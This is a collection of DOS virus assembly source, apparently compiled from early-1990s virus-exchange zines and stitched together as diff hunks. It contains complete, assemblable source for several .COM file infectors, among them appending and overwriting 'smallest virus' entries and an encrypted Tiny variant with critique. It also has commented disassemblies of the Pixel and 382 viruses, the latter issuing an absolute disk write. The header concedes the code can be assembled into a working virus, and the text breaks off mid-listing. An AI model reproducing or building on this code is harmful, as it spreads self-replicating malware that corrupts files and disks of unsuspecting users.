; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
@@ -0,0 +1,165 @@
; Œ «¥­ìª¨© (¨«¨ ¡®«ì让) ¢¨àãá, § à ¦ î騩 .COM-¯à®£à ¬¬ë
; ¯à¨ § ¯ã᪥, ¥á«¨ ã ­¨å ­¥âã ¢­ ç «¥ JMP.
; ஢¥àª¨ ­  ¢á直¥ ¢áïç­®á⨠­¥ ¯à¨áãâáâ¢ãîâ.
;
; Copyright (c) 1992, Gogi&Givi International.
;
.model tiny
.code
org 0100h
start:
jmp virusstart ; ¥à¥å®¤ ­  ¢¨àãá:
mov ah,09h ; â ª¦¥, ª ª ¡ã¤¥â
int 21h ; á ¦¥à⢮© ¯à¨
mov ax,4C00h ; § à ¦¥­¨¨
int 21h
Message db 'This is little infection... He-he...',13,10,'$'
; „® á¨å ¯®à ­®à¬ «ì­ë©
; ª®¤ ¦¥àâ¢ë
virusstart: ; € íâ® ¢¨àãá
pushf
push ax ; ‘®å࠭塞 ¢á¥, çâ®
push bx ; ⮫쪮 ¬®¦­®...
push cx
push dx
push ds ; ¥ §­ î, ­ áª®«ìª®
push es ; íâ® ¯à ¢¨«ì­®...
push si
call SelfPoint
SelfPoint: ; Ž¯à¥¤¥«ï¥¬ â®çªã
pop si ; ¢å®¤ 
cld ; „¢¨¦¥¬áï ¢¯à ¢®
push cs ; ®áâ ¢¨¬ ᥣ¬¥­â­ë¥
pop ds ; ॣ¨áâàë ­ §­ ç¥­¨ï
push cs ; ¨ ®â¯à ¢«¥­¨ï
pop es
mov di,0100h ; ‚ ¯à¨¥¬­¨ª¥ - 0100h,
push si ; ­ ç «® ¯à®£à ¬¬ë
add si,original-SelfPoint ; ‘¥©ç á SI 㪠§ë¢ ¥â ­ 
mov cx,3 ; ®à¨£¨­ «ì­ë¥ ¡ ©âë
rep movsb ; ‘ª®¯¨à㥬 ¨å ¢ ­ ç «®
pop si ; § à ¦¥­­®© ¯à®£à ¬¬ë
mov ah,1Ah ; ®áâ ¢¨¬ ᮡá⢥­­ãî
mov dx,si ; DTA ¨§ ª®­æ  ¢¨àãá 
add dx,VirusDTA-SelfPoint ; 21h ¯à¥à뢠­¨¥¬
int 21h
mov ah,4Eh ; „¥« ¥¬ FindFirst
mov dx,si ; á ᮮ⢥âáâ¢ãî饩
add dx,FileMask-SelfPoint ; ¬ áª®©
mov cx,32 ; ¨  âਡã⮬ ç⥭¨¥/
int 21h ; § ¯¨áì, çâ®¡ë ­¥
; ¬ã¤à¨âì
jnc RepeatOpen ; Žè¨¡®ª ­¥â - ®âªà뢠¥¬
jmp OutVirus ; ¨§ª® ¯®è¥«...
RepeatOpen:
mov ax,3D02h ; Žâªà®¥¬ ä ©«
mov dx,si ; ¯à¨ ¯®¬®é¨ à áè¨à¥­­®£®
add dx,NameF-SelfPoint ; ã¯à ¢«¥­¨ï ®­ë¬
int 21h
jc OutVirus ; ਠ¢á¥å ®è¨¡ª å ¢ë室¨¬
mov bx,ax ; ‚®§ì¬¥¬ ­®¬¥à ä ©« ,
; ¨ ¡ã¤¥¬ ¤¥à¦ âìáï §  BX
mov ah,3Fh ; ‘ç¨â뢠¥¬ ­ áâ®ï騥
mov dx,si ; ª®¬ ­¤ë ¤«ï
add dx,Original-SelfPoint ; ¨á¯®«­¥­¨ï
mov cx,3 ; ãáâì ¡ã¤¥â âਠ¡ ©â 
int 21h
jc OutVirus ; ޝïâì ¯à®¢¥à¨¬ ­  ®è¨¡ªã...
push bx
mov bx,dx
cmp byte ptr [bx],'é' ; ‚¤à㣠¢ í⮬ ä ©«¥
pop bx ; ⮦¥ á­ ç «  ¯¥à¥å®¤?
;
je CloseNotInfect ; ’®£¤  ­¥ § à ¦ âì!
; Žå, «¥­ì ¬­¥ ¯®â®ç­¥¥
; ¯à®¢¥àïâì...
mov ax,4202h ; à룠¥¬ ¢ ª®­¥æ
xor cx,cx ; ¦¥àâ¢ë (¨§­ á¨«®¢ ­¨ï)
xor dx,dx
int 21h ; ’¥¯¥àì ¢ AX «¥¦¨â
jc OutVirus ;  ¤à¥á ­ ç « 
; ¢¨àãá , ¥á«¨ ­¥â,
; ª®­¥ç­®, ®è¨¡ª¨
push ax
mov ah,40h ; ‡ ¯¨è¥¬
mov dx,si ; ⥫® ¢¨àãá 
sub dx,SelfPoint-VirusStart ; ¢ ä ©«-¦¥àâ¢ã
mov cx,VirusEnd-VirusStart ; Š®«¨ç¥á⢮ ¡ ©â
int 21h
pop ax
jc OutVirus ; Œ®¦¥â á«ãç¨âìáï ®è¨¡ª  -
; ¤¨áª, â ¬, ¯¥à¥¯®«­¥­...
sub ax,3 ; ‚ëç¨â ¥¬ 3 - ç⮡ë
push bx ; ¯®¯ áâì Šã¤   ¤®
mov bx,si
sub bx,SelfPoint-VirusStart
mov word ptr cs:[bx+1],ax ; Š« ¤¥¬  ¤à¥á
mov byte ptr [bx],'é' ; Š®¬ ­¤  ¯¥à¥å®¤  (¢
; ¯à¥¤¥« å ᥣ¬¥­â )
pop bx
mov ax,4200h ; € ⥯¥àì ¢ ­ ç «®
xor cx,cx ; ¦¥àâ¢ë
xor dx,dx
int 21h
jc OutVirus ; ஢¥àª  ­  ®è¨¡ªã
mov ah,40h ; ˆ § ¯¨è¥¬ â㤠
mov dx,si ; ª®¬ ­¤ã ¯¥à¥å®¤ 
sub dx,SelfPoint-VirusStart ; ­  ­ è¥ £­ãá­®¥
mov cx,3 ; ⥫®
int 21h
jc OutVirus ; ޝïâì ¯à®¢¥à¨¬ ®è¨¡ª¨
mov ah,3Eh ; ” ©« ­ ¤® § ªàëâì
int 21h ; (Ž­ 㦥 § à ¦¥­ -
jmp OutVirus ; ¡®«ìè¥ ­¥ à ¡®â ¥¬)
CloseNotInfect:
mov ah,3Eh ; ‡ ªà뢠¥¬ ­¥¯®¤å®¤ï騩
int 21h ; ä ©«
mov dx,si
add dx,FileMask-SelfPoint ; ˆ ¤¥« ¥¬ FindNext
mov ah,4Fh
int 21h
jc OutVirus ; Žè¨¡ª  - §­ ç¨â, ­¥ áã¤ì¡ 
jmp RepeatOpen ; ˆ«¨ ¯¥à¥å®¤ ­  ®âªàë⨥
OutVirus:
pop si ; ˆ, ª®­¥ç­® ¦¥,
pop es ; ¢á¥ ­  ᢥâ¥
pop ds ; ¢®ááâ ­®¢¨âì
pop dx
pop cx
pop bx
pop ax
popf
mov si,0100h ; ‡ ­®á¨¬ ¢ á⥪  ¤à¥á
push si ; ­ ç «  ¯à®£à ¬¬ë
ret ; ¨ ¤¥« ¥¬ RET
;  è¨ ¤ ­­ë¥:
VirusDTA db 30 dup (0) ; â® DTA
NameF db 13 dup (0) ; ’ã⠡㤥⠨¬ï ä ©« 
FileMask db '*.cOm',(0) ; ‚®â â ª ï ªà á¨¢ ï
; ¬ áª 
original:
mov dx,offset Message ; € íâ® ®à¨£¨­ «ì­ë¥ ¡ ©âë
VirusEnd: ; ¨§ ¦¥àâ¢ë (‹®§¨­áª¨©,
; ­¥ §¥¢ ©!)
end start
@@ -0,0 +1,187 @@
;******************************************************************
;* *
;* My First Virus, a simple non-overwriting COM infector *
;* *
;* by, Solomon *
;* *
;******************************************************************
.model tiny ; Memory model
.code ; Start Code
org 100h ; Start of COM file
MAIN: db 0e9h,00h,00h ; Jmp START_VIRUS
START_VIRUS proc near ; Real start of Virus
call FIND_OFFSET
; Calculate change in offset from host program.
FIND_OFFSET: pop bp ; BP holds current IP
sub bp, offset FIND_OFFSET ; Calculate net change
; Change BP to start of
; virus code
; Restore original bytes to the infected program.
lea si,[bp+ORIG_START] ; Restore original 3 bytes
mov di,100h ; to 100h, start of file
push di ; Copy 3 bytes
movsw
movsb
; Change the DTA from the default so FINDFIRST/FINDNEXT won't destroy
; original command line parameters.
lea dx,[bp+NEW_DTA] ; Point to new DTA area
call SET_DTA ; Go change it
; DOS Findfirst / Findnext services
FINDFIRST: mov ah,4eh ; DOS find first service
lea dx,[bp+COM_MASK] ; Search for any COM file
xor cx,cx ; Attribute mask
FINDNEXT: int 21h ; Call DOS to do it
jc QUIT ; Quit if there are errors
; or no more files
; Ok, if I am here, then I found a possible victim. Open the file and
; check it for previous infections.
mov ax,3d00h ; DOS Open file, read only
lea dx,[bp+NEW_DTA+30] ; Point to filename we found
int 21h ; Call DOS to do it
xchg ax,bx ; Put file handle in BX
; Check file for previous infection by checking for our presence at
; then end of the file.
mov ah,3fh ; DOS Read file
lea dx,[bp+ORIG_START] ; Save the original header
mov cx,3 ; Read 3 bytes
int 21h ; Call DOS to do it
mov ax,word ptr [bp+NEW_DTA+26] ; Put filename in AX
mov cx,word ptr [bp+ORIG_START+1] ; Jmp offset
add cx,END_VIRUS-START_VIRUS+3; Convert to filesize
cmp ax,cx ; Compare file size's
jnz INFECT_COM ; If healthy, go infect it
mov ah,3eh ; Otherwise close file and
int 21h ; try to find another victim
mov ah,4fh ; DOS find next file
jmp short FINDNEXT ; Find another file
; Restore default DTA and pass control back to original program.
; Call any activation routines here.
QUIT: mov dx,80h ; Restore original DTA
call SET_DTA ; Go change it
retn ; End Virus and start original
; Program. Remember, DI holding
; 100h was pushed on the stack.
;*** Subroutine INFECT_COM ***
INFECT_COM:
; Reset the file attributes to normal so I can write to the file
mov ax,4301h ; DOS change file attr
xor cx,cx ; Zero attributes
lea dx,[bp+NEW_DTA+30] ; Point to filename in DTA
int 21h ; Call DOS to do it
; Calculate jump offset for header of victim so it will run virus first.
mov ax,word ptr [bp+NEW_DTA+26] ; Put filesize in AX
sub ax,3 ; Subtract 3, size-jmp_code
mov word ptr [bp+JMP_OFFSET],ax ; Store new offset
; Close the file and reopen it for read/write. BX still holds file handle.
mov ah,3eh ; DOS close file
int 21h ; Call DOS to do it
mov ax,3d02h ; DOS open file, read/write
int 21h ; Call DOS to do it
xchg ax,bx ; Put file handle in BX
; Write the new header at the beginning of the file.
mov ah,40h ; DOS write to file
mov cx,3 ; Write 3 bytes
lea dx,[bp+HEADER] ; Point to the 3 bytes to write
int 21h ; Call DOS to do it
; Move to end of file so I can append the virus to it.
mov al,2 ; Select end of file
call FILE_PTR ; Go to end of file
; Append the virus to the end of the file.
mov ah,40h ; DOS write to file
mov cx,END_VIRUS-START_VIRUS ; Length of virus
lea dx,[bp+START_VIRUS] ; Start from beginning of virus
int 21h ; Call DOS to do it
; Restore the file's original timestamp and datestamp. These values were
; stored in the DTA by the Findfirst / Findnext services.
mov ax,5701h ; DOS set file date & time
mov cx,word ptr [bp+NEW_DTA+22] ; Set time
mov dx,word ptr [bp+NEW_DTA+24] ; Set date
int 21h ; Call DOS to do it
; Restore original file attributes.
mov ax,4301h ; DOS change file attr
mov cx,word ptr [bp+NEW_DTA+21] ; Get original file attr
lea dx,[bp+NEW_DTA+30] ; Point to file name
int 21h ; Call DOS
; Lastly, close the file and go back to main program.
mov ah,3eh ; DOS close file
int 21h ; Call DOS to do it
jmp QUIT ; We're done
;*** Subroutine SET_DTA ***
SET_DTA proc near
mov ah,1ah ; DOS set DTA
int 21h ; Call DOS to do it
retn ; Return
SET_DTA endp
;*** Subroutine FILE_PTR ***
FILE_PTR proc near
mov ah,42h ; DOS set read/write pointer
xor cx,cx ; Set offset move to zero
cwd ; Equivalent to xor dx,dx
int 21h ; Call DOS to do it
retn ; Return
FILE_PTR endp
; This area will hold all variables to be encrypted
COM_MASK db '*.com',0 ; COM file mask
ORIG_START db 0cdh,20h,0 ; Header for infected file
HEADER db 0e9h ; Jmp command for new header
START_VIRUS endp
END_VIRUS equ $ ; Mark end of virus code
; This data area is a scratch area and is not included in virus code.
JMP_OFFSET dw ? ; Jump offset for new header
NEW_DTA db 43 dup(?) ; New DTA location
end MAIN
@@ -0,0 +1,37 @@
; The EXEcution III Virus.
;
; Well, you're now the prouw owner of the smallest virus ever made!
; only 23 bytes long and ofcourse again very lame..
; But what the heck, it's just an educational piece of code!!
;
; (C) 1993 by [DàRkRàY] of TridenT (Ooooooranje Boooooooven!)
;
; Tnx to myself, my assembler, DOS (yuck) and to John Tardy for his
; nice try to make the smallest (27 bytes and 25 bytes) virus... gotcha!! ;-))
;
; BTW Don't forget, I only tested it unter DOS 5.0 so on other versions
; it might not work!
_CODE SEGMENT
ASSUME CS:_CODE
ORG 100h
START: ; That's where we're starting...
FILE DB '*.*',0h ; Dummy instruction, SUB's 0FFh from CH
MOV AH,4Eh ; Let's search!
DO_IT: MOV DX,SI ; Make DX = 100h (offset file)
INT 21h ; Search now dude!
MOV AX,3D01h ; Hmm, infect that fucking file!
MOV DX,9Eh ; Name is at DS:[9Eh]
INT 21h ; Go do it!
XCHG BX,AX ; Put the handle in BX
MOV AH,40h ; Write myself!
JMP DO_IT ; Use other routine
_CODE ENDS
END START
; If you don't like my english: Get lost, you can understand it!
@@ -0,0 +1,30 @@
; Basic little bitty program for people learning about the different modes
; you can stick on your monitor. This program will put you into 80*50 on a
; VGA monitor, and should be 80*43 on an EGA monitor (I dunno, haven't tested
; it.) Anyways, I tried to comment it so someone not knowing asm would be
; able to understand it.
;
; Coded by The Crypt Keeper/Kevin Marcus
; You may feel free to do absolutely anything to this code, so long as it is
; not distributed in a modified state. (Incorporate it in your programs, I
; don't care. Just do not change >THIS< program.)
;
; The Programmer's Paradise. (619)/457-1836
IDEAL ; Ideal Mode in TASM is t0tallie /< rad man.
DOSSEG ; Standard Segment shit.
MODEL tiny ; What model are we in?!
DATASEG ; Data Segment starts here, man.
exitcode db 0 ; 'exitcode' be zer0, man.
CODESEG ; Code Segment starts here, dude.
org 100h ; Where do .COM files start?
Start:
mov ax,0003h ; stick 3 into ax.
int 10h ; Set up 80*25, text mode. Clear the screen, too.
Exit:
mov ah,4ch ; Lets ditch.
mov al,[exitcode] ; Make al 0. Why not xor!? Suck a ____.
int 21h ; "Make it so."
END Start ; No more program.
@@ -0,0 +1,150 @@
;*****************************************************************************
;
; Pixel - 299 virus
;
; Disassembled By Admiral Bailey [YAM '92]
;
; Notes: I dont know where the hell I got this one from but when I found it on
; one of my disks it was named incorectly. Some Amst shit but I looked
; it up in the vsum and its named as Pixel so Il use that name.
; Anyways its just a plain com infecting virus that displays a messege
; when executed. Nothing big.
;
;*****************************************************************************
data_1e equ 6Ch
data_2e equ 96h
data_3e equ 98h
data_4e equ 9Eh
data_15e equ 12Bh ;*
data_16e equ 12Dh ;*
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
Pixel proc far
start:
jmp short begin
dw 5649h
data_7 db 0
data_8 db 2Ah, 2Eh, 43h, 4Fh, 4Dh, 0 ; '*.com'
data_10 dw 0, 8918h
data_12 dw 0
begin: ; loc_1:
push ax
mov ax,cs
add ax,1000h
mov es,ax
inc data_7
mov si,100h
xor di,di ; Zero register
mov cx,12Bh
rep movsb ; Mov [si] to es:[di]
mov dx,offset data_8 ; load the type of file to find
mov cx,6 ; Im not sure what attrib
mov ah,4Eh ; Find first file
int 21h ;
jc quit ; if none found then...
get_file: ; loc_2
mov dx,data_4e ; file name
mov ax,3D02h ; open file
int 21h
mov bx,ax
push es
pop ds
mov dx,data_15e ; buffer for read
mov cx,0FFFFh ; number of bytes to read
mov ah,3Fh ; read file
int 21h
add ax,12Bh
mov cs:data_12,ax
cmp word ptr ds:data_16e,5649h ; probably comparing size
je not_this_file ; of file
xor cx,cx ; Zero register
mov dx,cx
mov ax,4200h ; move file pointer
int 21h
jc not_this_file ; if error the quit this file
xor dx,dx ; Zero register
mov cx,cs:data_12
mov ah,40h ; write virus to file
int 21h
mov cx,cs:data_2e ; old date
mov dx,cs:data_3e ; new time
mov ax,5701h ; set files date & time
int 21h
not_this_file: ; loc_3:
mov ah,3Eh ; close this file
int 21h
push cs
pop ds
mov ah,4Fh ; find another file
int 21h
jc quit ; if none found quit
jmp short get_file ; if found then infect
quit: ; loc_4
cmp data_7,5
jb loc_5 ; Jump if below
mov ax,40h
mov ds,ax
mov ax,ds:data_1e
push cs
pop ds
and ax,1
jz loc_5 ; Jump if zero
mov dx,offset data_13 ; gets the messege
mov ah,9 ; display string
int 21h
int 20h ; Quit program
data_13 db 'Program sick error:Call doctor o' ; messege
db 'r buy PIXEL for cure description' ; displayed when
db 0Ah, 0Dh, '$' ; run
loc_5:
mov si,offset data_14
mov cx,22h
xor di,di ; Zero register
rep movsb ; Rep when cx >0 Mov [si] to es
pop bx
mov cs:data_10,0
mov word ptr cs:data_10+2,es
jmp dword ptr cs:data_10
data_14 db 1Eh ; cant figure this
db 07h,0BEh, 2Bh, 02h,0BFh, 00h ; part out...
db 01h,0B9h,0FFh,0FFh, 2Bh,0CEh ; probably infected
db 0F3h,0A4h, 2Eh,0C7h, 06h, 00h ; file before.
db 01h, 00h, 01h, 2Eh, 8Ch, 1Eh
db 02h, 01h, 8Bh,0C3h, 2Eh,0FFh
db 2Eh, 00h, 01h,0CDh ; this is an int 20h
db 20h
Pixel endp
seg_a ends
end start
ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍ>>> Article From Evolution #1 - YAM '92
Article Title: Thrasher Trojan Disassembly
Author: Natas Kaupas
@@ -0,0 +1,35 @@
;Smallest in the trivial series of viruses, I think....
;Last I saw was 30 bytes - this one goes to 29.
;Code by Stormbringer... stupid virus, but small.
.model tiny
.radix 16
.code
org 100
start:
FindFile:
xchg cx,ax ;ax defaults to zero on runtime - cx doesn't
push si ;si defaults to 100h under dos - use this l8r
mov dx,offset filemask
mov ah,4e
int 21
OverwriteFile:
mov dx,9e
mov ah,3c
int 21
WriteVirus:
xchg bx,ax
mov ah,40
pop dx ;get 100h from si earlier for write pointer
mov cl,endvir-start ;move only to CL, CH is already zero
int 21
Terminate:
ret ;terminate by returning to PSP (Int 20)
filemask db '*.*',0
endvir:
end start
@@ -0,0 +1,26 @@
code segment
assume cs:code,ds:code,es:code,ss:code
org 100h
main proc near
mov dx,offset(nev) ; offset to '*.*'
mov ah,4Eh
int 21h ; find first
mov dx,009Eh
mov ax,3D01h ; writing
int 21h ; open a file
mov bx,ax
mov ah,40h
mov cl,offset(nev)-100h+4 ; byte-szam
mov dx,100h
int 21h ; write to file
nev: DB '*.*'
DB 0h
main endp
code ends
end main
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,252 @@
muttiny segment byte public
assume cs:muttiny, ds:muttiny
org 100h
start: db 0e9h, 5, 0 ; jmp startvir
restorehere: int 20h
idword: dw 990h
; The next line is incredibly pointless. It is a holdover from one
; of the original TINYs, where the id was 7, 8, 9. The author can
; easily save one byte merely by deleting this line.
db 09h
startvir:
call oldtrick ; Standard location-finder
oldtrick: pop si
; The following statement is a bug -- well, not really a bug, just
; extraneous code. The value pushed on the stack in the following
; line is NEVER popped off. This is messy programming, as one byte
; could be saved by removing the statement.
push si
sub si,offset oldtrick
call encrypt ; Decrypt virus
call savepsp ; and save the PSP
; NOTE: The entire savepsp/restorepsp procedures are unnecessary.
; See the procedures at the end for further details.
jmp short findencryptval ; Go to the rest of the virus
; The next line is another example of messy programming -- it is a
; NOP inserted by MASM during assembly. Running this file through
; TASM with the /m2 switch should eliminate such "fix-ups."
nop
; The next line leaves me guessing as to the author's true intent.
db 0
encryptval dw 0h
encrypt:
push bx ; Save handle
; The following two lines of code could be condensed into one:
; lea bx, [si+offset startencrypt]
; Once again, poor programming style, though there's nothing wrong
; with the code.
mov bx,offset startencrypt
add bx,si
; Continueencrypt is implemented as a jmp-type loop. Although it's
; fine to code it this way, it's probably easier to code using the
; loop statement. Upon close inspection, one finds the loop to be
; flawed. Note the single inc bx statement. This essentially makes
; the encryption value a a byte instead of a word, which decreases
; the number of mutations from 65,535 to 255. Once again, this is
; just poor programming, very easily rectified with another inc bx
; statement. Another optimization could be made. Use a
; mov dx, [si+encryptval]
; to load up the encryption value before the loop, and replace the
; three lines following continueencrypt with a simple:
; xor word ptr [bx], dx
continueencrypt:
mov ax,[bx]
xor ax,word ptr [si+encryptval]
mov [bx],ax
inc bx
; The next two lines should be executed BEFORE continueencrypt. As
; it stands right now, they are recalculated every iteration which
; slows down execution somewhat. Furthermore, the value calculated
; is much too large and this increases execution time. Yet another
; improvement would be the merging of the mov/add pair to the much
; cleaner lea cx, [si+offset endvirus].
mov cx,offset veryend ; Calculate end of
add cx,si ; encryption: Note
cmp bx,cx ; the value is 246
jle continueencrypt ; bytes too large.
pop bx
ret
writerest: ; Tack on the virus to the
call encrypt ; end of the file.
mov ah,40h
mov cx,offset endvirus - offset idword
lea dx,[si+offset idword] ; Write starting from the id
int 21h ; word
call encrypt
ret
startencrypt:
; This is where the encrypted area begins. This could be moved to
; where the ret is in procedure writerest, but it is not necessary
; since it won't affect the "scannability" of the virus.
findencryptval:
mov ah,2Ch ; Get random #
int 21h ; CX=hr/min dx=sec
; The following chunk of code puzzles me. I admit it, I am totally
; lost as to its purpose.
cmp word ptr [si+offset encryptval],0
je step_two
cmp word ptr [si+offset encryptval+1],0
je step_two
cmp dh,0Fh
jle foundencryptionvalue
step_two: ; Check to see if any
cmp dl,0 ; part of the encryption
je findencryptval ; value is 0 and if so,
cmp dh,0 ; find another value.
je findencryptval
mov [si+offset encryptval],dx
foundencryptionvalue:
mov bp,[si+offset oldjmp] ; Set up bp for
add bp,103h ; jmp later
lea dx,[si+filemask] ; '*.COM',0
xor cx,cx ; Attributes
mov ah,4Eh ; Find first
tryanother:
int 21h
jc quit_virus ; If none found, exit
mov ax,3D02h ; Open read/write
mov dx,9Eh ; In default DTA
int 21h
mov cx,3
mov bx,ax ; Swap file handle register
lea dx,[si+offset buffer]
mov di,dx
call read ; Read 3 bytes
cmp byte ptr [di],0E9h ; Is it a jmp?
je infect
findnext:
mov ah,4Fh ; If not, find next
jmp short tryanother
infect:
mov ax,4200h ; Move file pointer
mov dx,[di+1] ; to jmp location
mov [si+offset oldjmp],dx ; and save old jmp
xor cx,cx ; location
call int21h
jmp short skipcheckinf
; Once again, we meet an infamous MASM-NOP.
nop
; I don't understand why checkinf is implemented as a procedure as
; it is executed but once. It is a waste of code space to do such
; a thing. The ret and call are both extra, wasting four bytes. An
; additional three bytes were wasted on the JMP skipping checkinf.
; In a program called "Tiny," a wasted seven bytes is rather large
; and should not exist. I have written a virus of half the length
; of this virus which is a generic COM infector. There is just too
; too much waste in this program.
checkinf:
cmp word ptr [di],990h ; Is it already
je findnext ; infected?
; The je statement above presents another problem. It leaves stuff
; on the stack from the call. This is, once again, not a critical
; error but nevertheless it is extremely sloppy behavior.
xor dx,dx
xor cx,cx
mov ax,4202h
call int21h ; Goto end of file
ret
skipcheckinf:
mov cx,2
mov dx,di
call read ; read 2 bytes
call checkinf
; The next check is extraneous. No COM file is larger than 65,535
; bytes before infection simply because it is "illegal." Yet ano-
; ther waste of code. Even if one were to use this useless check,
; it should be implemented, to save space, as or dx, dx.
cmp dx,0 ; Check if too big
jne findnext
cmp ah,0FEh ; Check again if too big
jae findnext
mov [si+storejmp],ax ; Save new jmp
call writerest ; location
mov ax,4200h ; Go to offset
mov dx,1 ; 1 in the file
xor cx,cx
call int21h
mov ah,40h ; and write the new
mov cx,2 ; jmp location
lea dx,[si+storejmp]
call int21h
; I think it is quite obvious that the next line is pointless. It
; is a truly moronic waste of two bytes.
jc closefile
closefile:
mov ah,3Eh ; Close the file
call int21h
quit_virus:
call restorepsp
jmp bp
read:
mov ah,3Fh ; Read file
; I do not understand why all the int 21h calls are done with this
; procedure. It is a waste of space. A normal int 21h call is two
; bytes long while it's three bytes just to call this procedure!
int21h:
int 21h
ret
db 'Made in England'
; Note: The comments for savepsp also apply to restorepsp.
; This code could have easily been changed to a set active DTA INT
; 21h call (AH = 1Ah). It would have saved many, many bytes.
savepsp:
mov di,0
; The following is a bug. It should be
; mov cx, 50h
; since the author decided to use words instead of bytes.
mov cx,100h
push si
; The loop below is dumb. A simple rep movsw statement would have
; sufficed. Instead, countless bytes are wasted on the loop.
storebytes:
mov ax,[di]
mov word ptr [si+pspstore],ax
add si,2
add di,2
loop storebytes
pop si
ret
restorepsp:
mov di,0
mov cx,100h ; Restore 200h bytes
push si
restorebytes:
mov ax,word ptr [si+pspstore]
mov [di],ax
add si,2
add di,2
loop restorebytes
pop si
ret
oldjmp dw 0
filemask db '*.COM',0
idontknow1 db 66h ; Waste of one byte
buffer db 00h, 00h, 01h ; Waste of three bytes
storejmp dw 0 ; Waste of two bytes
; endvirus should be before idontknow1, thereby saving six bytes.
endvirus:
idontknow2 db ?, ?
pspstore db 200 dup (?) ; Should actually be
idontknow3 db 2ch dup (?) ; 100h bytes long.
veryend: ; End of encryption
muttiny ends
end start
@@ -0,0 +1,243 @@
ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍ>>> Article From Evolution #2 - YAM '92
Article Title: 382 Virus
Author: Admiral Bailey
;=---
;
; 382 Virus (Family-Q as McAfee 91 calls it)
;
; Disassembled By Admiral Bailey [YAM '92]
; June 25, 1992
;
; The writer of this is unknown to me... maybe you should put some of
; your info in it.
;
; Notes:This virus I found on a board and got right to it. It wasnt
; too hard to disassemble since there was no encryption. Its an
; .com over writing virus. Yes there is ????????exe inside the
; file but I don't know what the hell that is. If you run it it
; only overwrits the com files. It probably get exe files if no
; com files are found. But anyways there seems to be a bug in
; the original virus. Put it in a directory and run it it will
; display crap and crash the computer. With out doing any
; damage. If you want any more info check it out for yourself.
; All i did this time was comment it.. cuz i found this to be a
; boring run of the mill virus. Anyways here it is.
;
;=---------
PAGE 59,132 ; I gotta check out
; what this means...
data_1e equ 9Eh
data_15e equ 0E000h
data_17e equ 0E17Eh
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
382 proc far
start:
jmp short $+2 ; just there to confuse
mov cs:data_4,0 ; actually jumps to here
mov ah,19h ; get default drive
int 21h
mov cs:data_11,al ; save default drive
mov ah,47h ; get present dir of
mov dl,0 ; current drive
lea si,data_13 ; holds directory name
int 21h
clc
loc_1:
jnc loc_2 ; if no error then jump
mov ah,17h ; rename file
lea dx,data_7 ; Load effective addr
int 21h
cmp al,0FFh ; is there an error?
jne loc_2 ; no then jump
mov ah,2Ch ; get current time
int 21h
mov al,cs:data_11 ; drive
mov bx,dx ; buffer
mov cx,2 ; # of sectors
mov dh,0 ; parm block
int 26h ; Absolute disk write
jmp loc_9
loc_2:
mov ah,3Bh ; set the current
lea dx,data_10 ; directory
int 21h
jmp short loc_6
loc_3:
mov ah,17h ; rename file
lea dx,data_7
int 21h
mov ah,3Bh ; set current directory
lea dx,data_10
int 21h
mov ah,4Eh ; find first file
mov cx,11h
lea dx,data_6 ; file type
int 21h
jc loc_1 ; Jump if carry Set
mov bx,cs:data_4 ; put value in bx
inc bx ; check to see if it is
dec bx ; zero
jz loc_5
loc_4:
mov ah,4Fh ; find next file
int 21h
jc loc_1 ; none found then jump
dec bx
jnz loc_4 ; Jump if not zero
loc_5:
mov ah,2Fh ; get dta
int 21h
add bx,1Ch
mov word ptr es:[bx],5C20h
inc bx
push ds ; save ds
mov ax,es ; putting es into ds
mov ds,ax
mov dx,bx
mov ah,3Bh ; get current dir
int 21h
pop ds ; get old ds
mov bx,cs:data_4
inc bx
mov cs:data_4,bx
loc_6:
mov ah,4Eh ; find first file
mov cx,1
lea dx,data_5 ; type to find
int 21h
jc loc_3 ; none found then jump
jmp short loc_8
loc_7:
mov ah,4Fh ; find next file
int 21h
jc loc_3 ; none found then jump
loc_8:
mov ah,3Dh ; open file
mov al,0
mov dx,data_1e
int 21h
mov bx,ax ; file name in bx
mov ah,3Fh ; read file
